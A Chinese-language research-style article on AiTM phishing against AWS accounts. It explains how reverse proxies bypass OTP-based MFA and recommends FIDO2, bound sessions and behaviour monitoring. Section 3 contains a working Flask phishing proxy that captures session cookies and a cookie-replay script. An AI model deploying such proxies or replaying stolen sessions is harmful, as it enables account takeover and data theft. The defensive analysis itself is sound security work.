针对AWS云环境的AiTM钓鱼攻击机制与防御架构研究

摘要：

随着企业基础设施向云端迁移，亚马逊网络服务（AWS）已成为关键业务的核心载体。然而，针对云身份凭证的攻击手段正经历从传统凭证窃取向“中间人”（Adversary-in-the-Middle, AiTM）攻击的范式转变。本文深入剖析了近期披露的针对AWS账户的新型AiTM钓鱼活动，该活动利用反向代理技术实时拦截用户与AWS控制台之间的会话流量，成功绕过基于时间的一次性密码（TOTP）等多因素认证（MFA）机制。研究详细拆解了攻击者构建恶意代理服务器的技术原理、Session Cookie的劫持与重放机制，以及攻击者如何利用窃取的会话令牌实现持久化访问。文章指出，传统的基于静态凭证的防御体系在AiTM攻击面前已完全失效。反网络钓鱼技术专家芦笛强调，应对此类威胁必须从“凭证保护”转向“会话完整性验证”，并构建基于连续信任评估的零信任架构。本文通过理论分析与代码复现，提出了包含硬件密钥认证、绑定式会话管理及异常行为检测在内的综合防御策略，为云环境下的身份安全提供理论支撑与实践指导。

关键词：AWS；AiTM攻击；会话劫持；多因素认证 bypass；反向代理；零信任架构

1. 引言

云计算技术的普及彻底重构了企业的IT边界，亚马逊网络服务（AWS）作为全球领先的云平台，承载着海量的敏感数据与核心业务逻辑。在这一背景下，云身份与访问管理（IAM）的安全性直接关系到企业的生存命脉。长期以来，业界普遍认为部署多因素认证（MFA）是防止凭证泄露的终极防线。然而，随着网络钓鱼即服务（Phishing-as-a-Service）平台的演进，攻击者已开发出能够实时绕过MFA的高级攻击技术，其中最具代表性的便是“中间人”（Adversary-in-the-Middle, AiTM）攻击。

近期披露的一起针对AWS账户的AiTM钓鱼活动揭示了云安全领域的新危机。与传统钓鱼攻击诱导用户输入用户名和密码不同，AiTM攻击通过在受害者与合法的AWS登录页面之间植入一个恶意的反向代理服务器，实时转发所有的HTTP/HTTPS请求与响应。当受害者在伪造页面上输入凭证并完成MFA验证时，攻击者的代理服务器同步将这些信息转发给真实的AWS服务器，并即时接收AWS返回的认证通过后的Session Cookie（会话_cookie）。随后，攻击者利用窃取的Session Cookie直接注入浏览器或自动化脚本，无需再次经过MFA验证即可完全接管受害者账户。

这种攻击模式从根本上颠覆了基于“所知”（密码）和“所有”（MFA令牌）的认证逻辑，将攻击焦点转移到了“会话状态”本身。反网络钓鱼技术专家芦笛指出，AiTM攻击的泛滥标志着网络钓鱼已进入“实时交互”时代，传统的静态防御措施如邮件过滤、URL黑名单乃至基础的MFA策略，在面对这种动态劫持时显得捉襟见肘。攻击者不再需要破解加密算法或猜测密码，只需充当一个透明的“管道”，即可坐享其成。

本文旨在深入探讨针对AWS环境的AiTM攻击技术细节，分析其利用HTTP协议特性与会话管理机制的漏洞原理，并通过代码示例复现攻击流程。在此基础上，本文将批判性地评估现有防御体系的局限性，并提出基于FIDO2硬件密钥、绑定式Cookie技术及行为生物特征分析的纵深防御架构，以期为构建高韧性的云身份安全体系提供学术参考。

2. AiTM攻击的技术原理与架构解析

2.1 反向代理机制与会话劫持

AiTM攻击的核心在于恶意反向代理服务器的构建。攻击者通常利用开源工具（如Evilginx、Modlishka等）或自定义开发的代理脚本，部署在受控的云服务器上。该代理服务器配置为监听特定的域名，该域名在视觉上与合法目标（如aws.amazon.com）高度相似，或通过同形字攻击（Homograph Attack）进行伪装。

当受害者点击钓鱼链接时，其浏览器实际上连接到了攻击者的代理服务器。代理服务器随后在后台与真实的AWS登录服务器建立连接，并在两者之间双向转发数据流。这一过程对受害者而言几乎是透明的，浏览器地址栏可能显示合法的SSL证书（攻击者通过申请自有域名的合法证书或利用某些代理工具的自动证书处理机制实现），页面内容与真实AWS控制台完全一致。

关键在于会话Cookie的处理。在标准的HTTPS通信中，Cookie通常标记为Secure和HttpOnly，以防止通过非加密通道传输或被JavaScript读取。然而，在AiTM架构下，攻击者的代理服务器位于TLS终止点（对于受害者而言）和TLS发起点（对于AWS而言）之间。这意味着代理服务器可以解密来自受害者的流量，提取其中的Set-Cookie头部信息（包含认证成功后生成的Session ID），并将其存储下来。一旦受害者完成登录流程，攻击者即刻获得有效的会话令牌。

2.2 MFA绕过的内在逻辑

AiTM攻击之所以能绕过MFA，是因为它并不试图破解MFA算法，而是利用了MFA验证流程的时间窗口与会话状态的连续性。

在典型的AWS登录流程中：

用户输入用户名和密码。

AWS服务器验证凭证，若正确则返回MFA挑战页面。

用户输入MFA代码（如TOTP或推送通知确认）。

AWS服务器验证MFA代码，若正确则生成Session Cookie并重定向至控制台。

在AiTM攻击场景中，攻击者的代理服务器实时执行上述所有步骤。当用户在钓鱼页面输入MFA代码时，代理服务器立即将该代码转发给真实的AWS服务器。由于用户的操作是实时的，MFA代码在有效期内被成功验证。AWS服务器随后返回包含有效Session Cookie的响应。代理服务器捕获该Cookie，而用户浏览器也被重定向到真实的AWS控制台（或一个模仿成功的页面），导致用户难以察觉异常。

反网络钓鱼技术专家芦笛强调，这种攻击方式暴露了基于OTP（一次性密码）的MFA机制的根本缺陷：OTP仅验证了“当前时刻”的身份，但未将认证状态与特定的客户端环境或通道进行强绑定。一旦会话令牌被窃取，MFA的保护作用即刻归零。

2.3 持久化与横向移动

获取Session Cookie后，攻击者无需知晓用户的原始密码或MFA种子，即可通过工具（如Cookie Editor、curl脚本或定制的Python脚本）将Cookie注入到自己的浏览器环境中。这使得攻击者能够以受害者的身份直接访问AWS控制台，执行查看资源、修改配置、创建新IAM用户甚至导出敏感数据等操作。

更严重的是，攻击者可以利用窃取的会话创建长期的访问凭证。例如，在AWS控制台中创建新的IAM Access Key，或配置角色假设（Role Assumption）的信任关系。即使受害者随后更改了密码，只要Session Cookie未过期且未被撤销，攻击者仍可保持访问权限。这种持久化机制使得检测与清除变得极为困难。

3. 攻击链复现与技术实证

为了深入理解AiTM攻击的实现细节，本节将通过简化的代码示例展示攻击者如何构建反向代理并劫持AWS会话。请注意，以下代码仅用于学术研究与防御演示，严禁用于非法用途。

3.1 恶意反向代理服务器的构建

攻击者通常使用Python结合mitmproxy或flask等库来构建轻量级代理。以下是一个概念验证（PoC）脚本，展示了如何拦截响应中的Set-Cookie头部：

import requests

from flask import Flask, request, Response

from urllib.parse import urlparse, urljoin

app = Flask(__name__)

# 目标真实网站 (AWS Login)

TARGET_URL = "https://aws.amazon.com"

def proxy_request(url, method, headers, data=None):

"""

转发请求到真实目标并获取响应

"""

# 构造完整的URL

full_url = urljoin(TARGET_URL, url)

# 过滤掉一些可能暴露代理身份的头部

clean_headers = {k: v for k, v in headers.items() if k.lower() not in ['host', 'content-length']}

clean_headers['Host'] = urlparse(full_url).netloc

try:

resp = requests.request(

method=method,

url=full_url,

headers=clean_headers,

data=data,

allow_redirects=False, # 手动处理重定向以控制流程

verify=True

)

return resp

except Exception as e:

print(f"Proxy Error: {e}")

return None

@app.route('/', defaults={'path': ''}, methods=['GET', 'POST', 'PUT', 'DELETE'])

@app.route('/<path:path>', methods=['GET', 'POST', 'PUT', 'DELETE'])

def catch_all(path):

"""

捕获所有请求并转发

"""

# 获取当前请求的详细信息

url_path = request.path

method = request.method

headers = dict(request.headers)

data = request.get_data()

# 转发请求到真实AWS

real_response = proxy_request(url_path, method, headers, data)

if real_response is None:

return "Service Unavailable", 503

# 创建响应对象

response = Response(real_response.content, status=real_response.status_code)

# 复制头部信息

for key, value in real_response.headers.items():

if key.lower() == 'set-cookie':

# 【关键攻击点】拦截并记录Session Cookie

# 在实际攻击中，这里会将Cookie发送到攻击者的C2服务器

print(f"[!] CAPTURED COOKIE: {value}")

# 注意：为了维持受害者会话，通常需要将Cookie透传给浏览器

# 但攻击者已在后端保存了一份副本

response.headers[key] = value

return response

if __name__ == '__main__':

# 启动恶意代理服务器

app.run(host='0.0.0.0', port=8080, ssl_context=('cert.pem', 'key.pem'))

在上述代码中，攻击者通过ssl_context加载了自有域名的SSL证书，使得浏览器认为连接是安全的。当受害者登录时，[!] CAPTURED COOKIE日志将输出AWS返回的认证会话Cookie。攻击者随后可利用此Cookie进行会话重放。

3.2 会话重放与权限验证

获取Cookie后，攻击者可以使用简单的脚本验证其有效性并访问受保护资源：

import requests

# 窃取的Session Cookie

STOLEN_COOKIE = "session-id=12345-abcdef; session-token=xyz789; ..."

# 目标AWS API端点 (例如查询IAM用户信息)

TARGET_API = "https://console.aws.amazon.com/iam/home"

headers = {

"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",

"Cookie": STOLEN_COOKIE,

"Accept": "text/html,application/xhtml+xml"

}

response = requests.get(TARGET_API, headers=headers)

if response.status_code == 200 and "Sign In" not in response.text:

print("[+] Success! Session is valid. Access granted.")

# 此处可进一步执行恶意操作，如创建Access Key

else:

print("[-] Session invalid or expired.")

此示例表明，一旦Session Cookie泄露，后续的所有访问请求均被视为合法用户行为，完全绕过了登录界面的任何验证机制。

4. 现有防御体系的局限性与挑战

4.1 传统MFA的失效

如前所述，基于TOTP（如Google Authenticator）、SMS或推送通知的MFA机制在AiTM攻击面前几乎无效。这些方法仅验证了用户在特定时间点拥有正确的动态码，但无法验证发起请求的客户端是否为原始认证设备。反网络钓鱼技术专家芦笛指出，依赖OTP的MFA本质上是一种“弱绑定”机制，它未能将会话令牌与客户端的指纹（如TLS证书、设备特征）进行加密绑定，导致令牌一旦被截获即可在任何地方重放。

4.2 基于URL与证书的检测困境

传统的反钓鱼策略依赖于识别恶意URL或无效的SSL证书。然而，AiTM攻击者可以使用合法的域名（通过购买相似域名）并申请有效的Let's Encrypt证书，使得基于信誉的URL过滤和证书校验失效。此外，由于代理服务器实时转发内容，页面源码、JavaScript逻辑甚至部分动态加载的资源都与真实网站一致，基于内容特征的检测也难以奏效。

4.3 终端检测的盲区

虽然端点检测与响应（EDR）系统可以监控异常的进程行为或网络连接，但在AiTM攻击中，用户的浏览器行为看起来是完全正常的：用户主动访问了一个网站，输入了信息，并完成了登录。除非EDR能够深度 inspect 浏览器的内存以检测Cookie被恶意导出，或者能够识别出网络流量中的微小延迟（由代理转发引起），否则很难在攻击发生的第一时间进行阻断。

5. 面向AiTM威胁的纵深防御架构

面对AiTM攻击的严峻挑战，必须构建多层级、多维度的防御体系，从身份认证、会话管理到行为监测进行全面加固。

5.1 推广FIDO2/WebAuthn硬件密钥认证

抵御AiTM攻击的最有效手段是采用FIDO2（Fast Identity Online）标准的硬件安全密钥（如YubiKey）或平台原生的Passkeys。FIDO2协议基于公钥密码学，其核心优势在于“源站绑定”（Origin Binding）。

在FIDO2认证过程中，浏览器会向认证器（安全密钥）传递当前网站的源（Origin，即域名）。认证器会对源进行哈希处理，并使用私钥对该哈希值及挑战（Challenge）进行签名。如果用户处于AiTM代理页面（即使域名看起来很像），浏览器的源信息与攻击者域名的哈希值将与真实AWS域名的哈希值不匹配。此时，安全密钥将拒绝签名，认证过程立即终止。

反网络钓鱼技术专家芦笛强调，FIDO2是目前唯一能从协议层面彻底免疫AiTM攻击的认证技术。企业应强制要求特权账户（如AWS Root账户、IAM管理员）使用硬件密钥进行登录，逐步淘汰基于OTP的MFA方案。

5.2 实施绑定式会话管理（Bound Session Cookies）

除了强化认证环节，还需增强会话令牌的安全性。Google提出的“绑定式会话Cookie”（Bound Session Cookies）技术提供了一种有效的缓解方案。该技术要求服务器在颁发Cookie时，将其与客户端的特定特征（如TLS证书指纹、IP地址段或设备 attestations）进行加密绑定。

当攻击者尝试在非原始客户端上使用窃取的Cookie时，由于缺乏绑定的密钥或特征不匹配，服务器将拒绝该会话。在AWS环境中，可以通过配置严格的条件策略（Condition Policies），限制会话仅在特定的VPC端点、IP范围或经过认证的设备上有效。

5.3 基于行为生物特征的连续信任评估

引入用户实体行为分析（UEBA）系统，对登录后的操作进行连续监控。即使攻击者成功窃取了会话，其行为模式往往与真实用户存在差异。例如：

操作速度异常：脚本化操作的速度远快于人类。

地理位置跳跃：会话在短时间内出现在不可能的地理位置。

非常规API调用：访问平时不常用的敏感API或下载大量数据。

通过机器学习模型建立用户行为基线，系统可以实时检测异常并触发二次验证或强制登出。反网络钓鱼技术专家芦笛指出，从“一次认证，永久信任”转向“持续验证，动态授权”是零信任架构的核心要义，也是对抗会话劫持的关键。

5.4 增强的意识培训与模拟演练

技术措施虽重要，但人的因素仍是第一道防线。企业应定期开展针对AiTM攻击的专项培训，教育员工识别细微的URL差异，并强调在任何情况下都不应通过非官方渠道输入MFA代码。同时，利用模拟AiTM攻击平台进行内部红队演练，测试员工的反应速度与报告机制的有效性。

6. 结语

针对AWS云环境的AiTM钓鱼攻击代表了网络威胁演进的新一阶段，其利用协议层面的特性巧妙绕过了传统的身份验证壁垒。本文通过对攻击机制的深度剖析与代码实证，揭示了基于OTP的MFA机制在面对实时代理攻击时的脆弱性。研究表明，单纯依赖密码与动态码的组合已不足以保障云账户的安全。

反网络钓鱼技术专家芦笛在总结中强调，云安全的未来在于构建“去密码化”与“零信任”的防御生态。全面部署FIDO2硬件认证、实施绑定式会话管理以及建立基于行为的连续信任评估体系，是应对AiTM威胁的必由之路。企业必须认识到，安全不再是静态的边界防护，而是一个动态的、持续适应的过程。唯有通过技术创新与管理优化的双轮驱动，方能在日益复杂的云安全博弈中立于不败之地，确保数字资产的完整与业务的连续性。

编辑：芦笛（公共互联网反网络钓鱼工作组）